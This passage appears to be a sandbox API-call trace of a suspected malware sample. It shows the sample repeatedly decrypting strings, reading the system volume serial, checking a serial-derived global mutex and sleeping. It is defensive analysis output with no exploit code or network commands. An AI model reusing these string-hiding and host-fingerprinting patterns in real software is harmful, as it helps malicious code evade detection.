	[0061.932] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa0c, dwFlags=0x0) returned 1
	[0061.933] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111f0, pdwDataLen=0x116f9d8 | out: pbData=0xa111f0, pdwDataLen=0x116f9d8) returned 1
	[0061.933] CryptDestroyKey (hKey=0x226d0) returned 1
	[0061.933] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111f0 | out: hHeap=0xa10000) returned 1
	[0061.933] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa19258, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0061.933] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa193e8 | out: hHeap=0xa10000) returned 1
	[0061.933] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19280 | out: hHeap=0xa10000) returned 1
	[0061.933] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x116fa8c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x116fa8c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0061.933] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19258 | out: hHeap=0xa10000) returned 1
	[0061.933] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa184c0
	[0061.933] CryptImportKey (in: hProv=0x14420, pbData=0x116fa18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa80 | out: phKey=0x116fa80*=0x226d0) returned 1
	[0061.933] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa68, dwFlags=0x0) returned 1
	[0061.933] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa184c0, pdwDataLen=0x116fa34 | out: pbData=0xa184c0, pdwDataLen=0x116fa34) returned 1
	[0061.933] CryptDestroyKey (hKey=0x226d0) returned 1
	[0061.933] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x34) returned 0xa152c8
	[0061.933] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c0
	[0061.933] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102
	[0061.933] CloseHandle (hObject=0x2c0) returned 1
	[0061.933] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184c0 | out: hHeap=0xa10000) returned 1
	[0061.933] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0061.934] Sleep (dwMilliseconds=0x3e8) 
	[0063.249] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa19118
	[0063.249] CryptImportKey (in: hProv=0x14420, pbData=0x116f9e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa4c | out: phKey=0x116fa4c*=0x226d0) returned 1
	[0063.249] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa34, dwFlags=0x0) returned 1
	[0063.249] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa19118, pdwDataLen=0x116fa00 | out: pbData=0xa19118, pdwDataLen=0x116fa00) returned 1
	[0063.249] CryptDestroyKey (hKey=0x226d0) returned 1
	[0063.249] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa19280
	[0063.249] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa19230
	[0063.249] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa111f0
	[0063.249] CryptImportKey (in: hProv=0x14420, pbData=0x116f9bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa24 | out: phKey=0x116fa24*=0x226d0) returned 1
	[0063.249] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa0c, dwFlags=0x0) returned 1
	[0063.249] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111f0, pdwDataLen=0x116f9d8 | out: pbData=0xa111f0, pdwDataLen=0x116f9d8) returned 1
	[0063.249] CryptDestroyKey (hKey=0x226d0) returned 1
	[0063.249] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111f0 | out: hHeap=0xa10000) returned 1
	[0063.249] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa19280, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0063.249] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19230 | out: hHeap=0xa10000) returned 1
	[0063.249] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19118 | out: hHeap=0xa10000) returned 1
	[0063.249] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x116fa8c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x116fa8c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0063.249] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19280 | out: hHeap=0xa10000) returned 1
	[0063.250] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa184c0
	[0063.250] CryptImportKey (in: hProv=0x14420, pbData=0x116fa18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa80 | out: phKey=0x116fa80*=0x226d0) returned 1
	[0063.250] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa68, dwFlags=0x0) returned 1
	[0063.250] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa184c0, pdwDataLen=0x116fa34 | out: pbData=0xa184c0, pdwDataLen=0x116fa34) returned 1
	[0063.250] CryptDestroyKey (hKey=0x226d0) returned 1
	[0063.250] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x34) returned 0xa152c8
	[0063.250] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c0
	[0063.250] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102
	[0063.250] CloseHandle (hObject=0x2c0) returned 1
	[0063.250] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184c0 | out: hHeap=0xa10000) returned 1
	[0063.250] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0063.250] Sleep (dwMilliseconds=0x3e8) 
	[0064.276] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa19140
	[0064.276] CryptImportKey (in: hProv=0x14420, pbData=0x116f9e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa4c | out: phKey=0x116fa4c*=0x226d0) returned 1
	[0064.276] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa34, dwFlags=0x0) returned 1
	[0064.276] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa19140, pdwDataLen=0x116fa00 | out: pbData=0xa19140, pdwDataLen=0x116fa00) returned 1
	[0064.276] CryptDestroyKey (hKey=0x226d0) returned 1
	[0064.276] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa192a8
	[0064.276] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa19370
	[0064.276] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa111f0
	[0064.276] CryptImportKey (in: hProv=0x14420, pbData=0x116f9bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa24 | out: phKey=0x116fa24*=0x226d0) returned 1
	[0064.276] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa0c, dwFlags=0x0) returned 1
	[0064.276] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111f0, pdwDataLen=0x116f9d8 | out: pbData=0xa111f0, pdwDataLen=0x116f9d8) returned 1
	[0064.276] CryptDestroyKey (hKey=0x226d0) returned 1
	[0064.276] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111f0 | out: hHeap=0xa10000) returned 1
	[0064.276] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa192a8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0064.276] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19370 | out: hHeap=0xa10000) returned 1
	[0064.277] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19140 | out: hHeap=0xa10000) returned 1
	[0064.277] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x116fa8c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x116fa8c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0064.277] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa192a8 | out: hHeap=0xa10000) returned 1
	[0064.277] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa184c0
	[0064.277] CryptImportKey (in: hProv=0x14420, pbData=0x116fa18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa80 | out: phKey=0x116fa80*=0x226d0) returned 1
	[0064.277] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa68, dwFlags=0x0) returned 1
	[0064.277] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa184c0, pdwDataLen=0x116fa34 | out: pbData=0xa184c0, pdwDataLen=0x116fa34) returned 1
	[0064.277] CryptDestroyKey (hKey=0x226d0) returned 1
	[0064.277] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x34) returned 0xa152c8
	[0064.277] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c0
	[0064.277] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102
	[0064.277] CloseHandle (hObject=0x2c0) returned 1
	[0064.277] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184c0 | out: hHeap=0xa10000) returned 1
	[0064.277] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0064.277] Sleep (dwMilliseconds=0x3e8) 
	[0066.049] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa19370
	[0066.049] CryptImportKey (in: hProv=0x14420, pbData=0x116f9e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa4c | out: phKey=0x116fa4c*=0x226d0) returned 1
	[0066.049] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa34, dwFlags=0x0) returned 1
	[0066.049] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa19370, pdwDataLen=0x116fa00 | out: pbData=0xa19370, pdwDataLen=0x116fa00) returned 1
	[0066.049] CryptDestroyKey (hKey=0x226d0) returned 1
	[0066.049] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa194b0
	[0066.049] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa19118
	[0066.049] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa111f0
	[0066.049] CryptImportKey (in: hProv=0x14420, pbData=0x116f9bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa24 | out: phKey=0x116fa24*=0x226d0) returned 1
	[0066.049] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa0c, dwFlags=0x0) returned 1
	[0066.049] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111f0, pdwDataLen=0x116f9d8 | out: pbData=0xa111f0, pdwDataLen=0x116f9d8) returned 1
	[0066.049] CryptDestroyKey (hKey=0x226d0) returned 1
	[0066.049] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111f0 | out: hHeap=0xa10000) returned 1
	[0066.049] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa194b0, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0066.049] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19118 | out: hHeap=0xa10000) returned 1
	[0066.049] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19370 | out: hHeap=0xa10000) returned 1
	[0066.049] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x116fa8c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x116fa8c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0066.050] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa194b0 | out: hHeap=0xa10000) returned 1
	[0066.050] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa184c0
	[0066.050] CryptImportKey (in: hProv=0x14420, pbData=0x116fa18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa80 | out: phKey=0x116fa80*=0x226d0) returned 1
	[0066.050] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa68, dwFlags=0x0) returned 1
	[0066.050] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa184c0, pdwDataLen=0x116fa34 | out: pbData=0xa184c0, pdwDataLen=0x116fa34) returned 1
	[0066.050] CryptDestroyKey (hKey=0x226d0) returned 1
	[0066.050] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x34) returned 0xa152c8
	[0066.050] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c0
	[0066.050] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102
	[0066.050] CloseHandle (hObject=0x2c0) returned 1
	[0066.050] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184c0 | out: hHeap=0xa10000) returned 1
	[0066.050] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0066.050] Sleep (dwMilliseconds=0x3e8) 
	[0067.475] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa192d0
	[0067.475] CryptImportKey (in: hProv=0x14420, pbData=0x116f9e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa4c | out: phKey=0x116fa4c*=0x226d0) returned 1
	[0067.475] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa34, dwFlags=0x0) returned 1
	[0067.476] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa192d0, pdwDataLen=0x116fa00 | out: pbData=0xa192d0, pdwDataLen=0x116fa00) returned 1
	[0067.476] CryptDestroyKey (hKey=0x226d0) returned 1
	[0067.476] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa19208
	[0067.476] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa192a8
	[0067.476] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa111f0
	[0067.476] CryptImportKey (in: hProv=0x14420, pbData=0x116f9bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa24 | out: phKey=0x116fa24*=0x226d0) returned 1
	[0067.476] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa0c, dwFlags=0x0) returned 1
	[0067.476] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111f0, pdwDataLen=0x116f9d8 | out: pbData=0xa111f0, pdwDataLen=0x116f9d8) returned 1
	[0067.476] CryptDestroyKey (hKey=0x226d0) returned 1
	[0067.476] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111f0 | out: hHeap=0xa10000) returned 1
	[0067.476] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa19208, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0067.476] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa192a8 | out: hHeap=0xa10000) returned 1
	[0067.476] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa192d0 | out: hHeap=0xa10000) returned 1
	[0067.476] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x116fa8c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x116fa8c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0067.476] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19208 | out: hHeap=0xa10000) returned 1
	[0067.476] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa184c0
	[0067.476] CryptImportKey (in: hProv=0x14420, pbData=0x116fa18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa80 | out: phKey=0x116fa80*=0x226d0) returned 1
	[0067.476] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa68, dwFlags=0x0) returned 1
	[0067.476] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa184c0, pdwDataLen=0x116fa34 | out: pbData=0xa184c0, pdwDataLen=0x116fa34) returned 1
	[0067.476] CryptDestroyKey (hKey=0x226d0) returned 1
	[0067.476] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x34) returned 0xa152c8
	[0067.476] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c0
	[0067.477] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102
	[0067.477] CloseHandle (hObject=0x2c0) returned 1
	[0067.477] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184c0 | out: hHeap=0xa10000) returned 1
	[0067.477] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0067.477] Sleep (dwMilliseconds=0x3e8) 
	[0068.657] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa19460
	[0068.657] CryptImportKey (in: hProv=0x14420, pbData=0x116f9e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa4c | out: phKey=0x116fa4c*=0x226d0) returned 1
	[0068.657] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa34, dwFlags=0x0) returned 1
	[0068.657] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa19460, pdwDataLen=0x116fa00 | out: pbData=0xa19460, pdwDataLen=0x116fa00) returned 1
	[0068.657] CryptDestroyKey (hKey=0x226d0) returned 1
	[0068.657] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa19488
	[0068.657] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa193e8
	[0068.657] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa111f0
	[0068.657] CryptImportKey (in: hProv=0x14420, pbData=0x116f9bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa24 | out: phKey=0x116fa24*=0x226d0) returned 1
	[0068.657] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa0c, dwFlags=0x0) returned 1
	[0068.657] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111f0, pdwDataLen=0x116f9d8 | out: pbData=0xa111f0, pdwDataLen=0x116f9d8) returned 1
	[0068.657] CryptDestroyKey (hKey=0x226d0) returned 1
	[0068.657] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111f0 | out: hHeap=0xa10000) returned 1
	[0068.657] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa19488, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0068.657] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa193e8 | out: hHeap=0xa10000) returned 1
	[0068.657] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19460 | out: hHeap=0xa10000) returned 1
	[0068.657] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x116fa8c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x116fa8c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0068.658] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19488 | out: hHeap=0xa10000) returned 1
	[0068.658] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa184c0
	[0068.658] CryptImportKey (in: hProv=0x14420, pbData=0x116fa18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa80 | out: phKey=0x116fa80*=0x226d0) returned 1
	[0068.658] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa68, dwFlags=0x0) returned 1
	[0068.658] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa184c0, pdwDataLen=0x116fa34 | out: pbData=0xa184c0, pdwDataLen=0x116fa34) returned 1
	[0068.658] CryptDestroyKey (hKey=0x226d0) returned 1
	[0068.658] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x34) returned 0xa152c8
	[0068.658] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c0
	[0068.658] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102
	[0068.658] CloseHandle (hObject=0x2c0) returned 1
	[0068.658] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184c0 | out: hHeap=0xa10000) returned 1
	[0068.658] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0068.658] Sleep (dwMilliseconds=0x3e8) 
	[0070.001] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa19258
	[0070.001] CryptImportKey (in: hProv=0x14420, pbData=0x116f9e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa4c | out: phKey=0x116fa4c*=0x226d0) returned 1
	[0070.001] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa34, dwFlags=0x0) returned 1
	[0070.001] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa19258, pdwDataLen=0x116fa00 | out: pbData=0xa19258, pdwDataLen=0x116fa00) returned 1
	[0070.001] CryptDestroyKey (hKey=0x226d0) returned 1
	[0070.001] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa19370
	[0070.001] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa19348
	[0070.001] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa111f0
	[0070.001] CryptImportKey (in: hProv=0x14420, pbData=0x116f9bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa24 | out: phKey=0x116fa24*=0x226d0) returned 1
	[0070.001] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa0c, dwFlags=0x0) returned 1
	[0070.001] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111f0, pdwDataLen=0x116f9d8 | out: pbData=0xa111f0, pdwDataLen=0x116f9d8) returned 1
	[0070.001] CryptDestroyKey (hKey=0x226d0) returned 1
	[0070.001] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111f0 | out: hHeap=0xa10000) returned 1
	[0070.001] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa19370, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0070.001] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19348 | out: hHeap=0xa10000) returned 1
	[0070.001] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19258 | out: hHeap=0xa10000) returned 1
	[0070.001] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x116fa8c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x116fa8c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0070.002] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19370 | out: hHeap=0xa10000) returned 1
	[0070.002] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa184c0
	[0070.002] CryptImportKey (in: hProv=0x14420, pbData=0x116fa18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa80 | out: phKey=0x116fa80*=0x226d0) returned 1
	[0070.002] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa68, dwFlags=0x0) returned 1
	[0070.002] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa184c0, pdwDataLen=0x116fa34 | out: pbData=0xa184c0, pdwDataLen=0x116fa34) returned 1
	[0070.002] CryptDestroyKey (hKey=0x226d0) returned 1
	[0070.002] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x34) returned 0xa152c8
	[0070.002] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c0
	[0070.002] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102
	[0070.002] CloseHandle (hObject=0x2c0) returned 1
	[0070.002] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184c0 | out: hHeap=0xa10000) returned 1
	[0070.002] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0070.003] Sleep (dwMilliseconds=0x3e8) 
	[0071.082] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa191e0
	[0071.082] CryptImportKey (in: hProv=0x14420, pbData=0x116f9e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa4c | out: phKey=0x116fa4c*=0x226d0) returned 1
	[0071.082] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa34, dwFlags=0x0) returned 1
	[0071.082] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa191e0, pdwDataLen=0x116fa00 | out: pbData=0xa191e0, pdwDataLen=0x116fa00) returned 1
	[0071.082] CryptDestroyKey (hKey=0x226d0) returned 1
